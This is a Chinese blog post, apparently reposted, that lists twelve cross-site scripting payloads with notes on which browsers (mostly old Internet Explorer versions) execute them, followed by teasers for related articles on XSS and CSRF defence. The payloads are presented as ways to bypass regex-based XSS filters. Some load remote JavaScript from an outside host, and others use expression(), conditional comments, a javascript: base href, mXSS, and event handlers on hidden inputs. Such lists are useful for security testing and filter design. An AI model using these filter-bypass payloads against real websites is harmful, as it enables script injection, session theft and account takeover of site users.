12个有趣的 XSS Vector

简介:

XSS Vector #1

<script src=/〱20.rs></script>

URL中第二个斜杠在Internet Explorer下(测试于IE11)可被U+3031,U+3033,U+3035,U+309D,U+30FC,U+30FD,U+FF70代替。在特定环境下可以帮助测试者绕过一些正则。

XSS Vector #2

<script src=//20.rs async>

这个Vector可以在不闭合script标签的情况下,在IE下(测试于IE11)正常调用远程的JavaScript。不但可以有效地绕过一些无聊的正则,还可以帮助你缩短你的payload。btw,这和后面会不会出现其它的script标签进而导致当前payload被闭合的一类现象无关。

XSS Vector #3

<div style="x: /**/ression(alert(1))('\')exp\')">

IE的一个CSS Parse BUG。在特定情况下可能可以帮助绕过一些XSS的防御正则。by @gainover

XSS Vector #4

<script>/*@cc_on alert(1) @*/</script>

当输出点在多行注视符号之间,切无法结束script标签时,可以借助该Vector在IE下(需要IE版本在10或以前)成功的XSS。

XSS Vector #5

<base href="javascript:\"><a href="//%0aalert(1);//“>Click Me</a>

该Vector在不久前由@irsdl发布。测试在Chrome下有效。

XSS Vector #6

<title>&lt;img src=1 onerror=alert(1)&gt;</title> div.innerHTML = document.getElementsByTagName("title")[0]; // IE8, already-known?

IE8下的又一枚mXSS,最近由@hasegawayosuke发布在了Twitter上。

XSS Vector #7

<picture><source srcset=1><img onerror=alert(1)>

最近由.mario发布在Twitter上。测试在Chrome canary下有效。

XSS Vector #8

<script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29’,length:1}</script>

这确实是炒冷饭。不过很少见人提到。该Vector同样只在IE下有效。优点就是不需要等号和圆括号。意味着在某些情况下可以帮你简单绕过一些不切实际的XSS Filter进而构造你有效的POC。

XSS Vector #9

<meta http-equiv="X-UA-Compatible" content="IE=9;"><% onclick=alert(1)>click me

该Vector仅在IE9有效。可以看到左尖括号后面紧跟着的并不是字母。但在IE9这依然会被认定为是一个有效的标签。就像我们对大部分的未知标签的理解,我们可以在那些莫名其妙的标签当中使用onclick和onmouse系列的event handler进行XSS跨站攻击。至于可以拿来干什么,仁者见仁吧。

XSS Vector #10

<script>alert`1`</script>

ES6新特性。可以使用backtick来代替圆括号。测试于Firefox Nightly.

XSS Vector #11

<input onresize=alert(1)>

这对于input标签来说应该是最短的Vector了。在IE10下有效。无需autofocus进行辅助和用户交互就可以自动触发。在autofocus被过滤,无法重写type的情况下算是个选项。除此之外对于使用autofocus的vector除了我们熟知的onblur,onfocus等还有几个event handler可以用来XSS。

<iframe src=被xss的页面.htm>

被xss的页面.htm

<input onActivate=alert(2) autofocus>
<input onBeforeActivate=alert(5) autofocus>

在IE10和IE11下有效。当然了,如果可以写入type=image 我们还可以使用onload,onerror这类的event handler。

XSS Vector #12

<iframe src=test.htm> <input type=hidden style=x:expression(alert(1))> 测试于IE6-9 by @Sogili
<form><input type=hidden onforminput=alert('what?')><input></form> 测试于Opera12
<svg><input type=hidden onload=alert(1)> //测试于safari7.0.6

有些是冷面,有些需要用户交互,有些你可能并不认为是bypass。仁者见仁吧。该Vector的重点在于type=hidden。

本文转自 K1two2 博客园博客,原文链接: http://www.cnblogs.com/k1two2/p/4611259.html  ,如需转载请自行联系原作者
相关文章
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
10月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
292 49
|
10月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
477 4
|
10月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
332 2
|
10月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
443 3
|
11月前
|
存储 JavaScript 前端开发
Xss跨站脚本攻击(Cross Site Script)
Xss跨站脚本攻击(Cross Site Script)
|
10月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
405 0
|
12月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
3871 2
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
208 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
11月前
|
存储 JavaScript 安全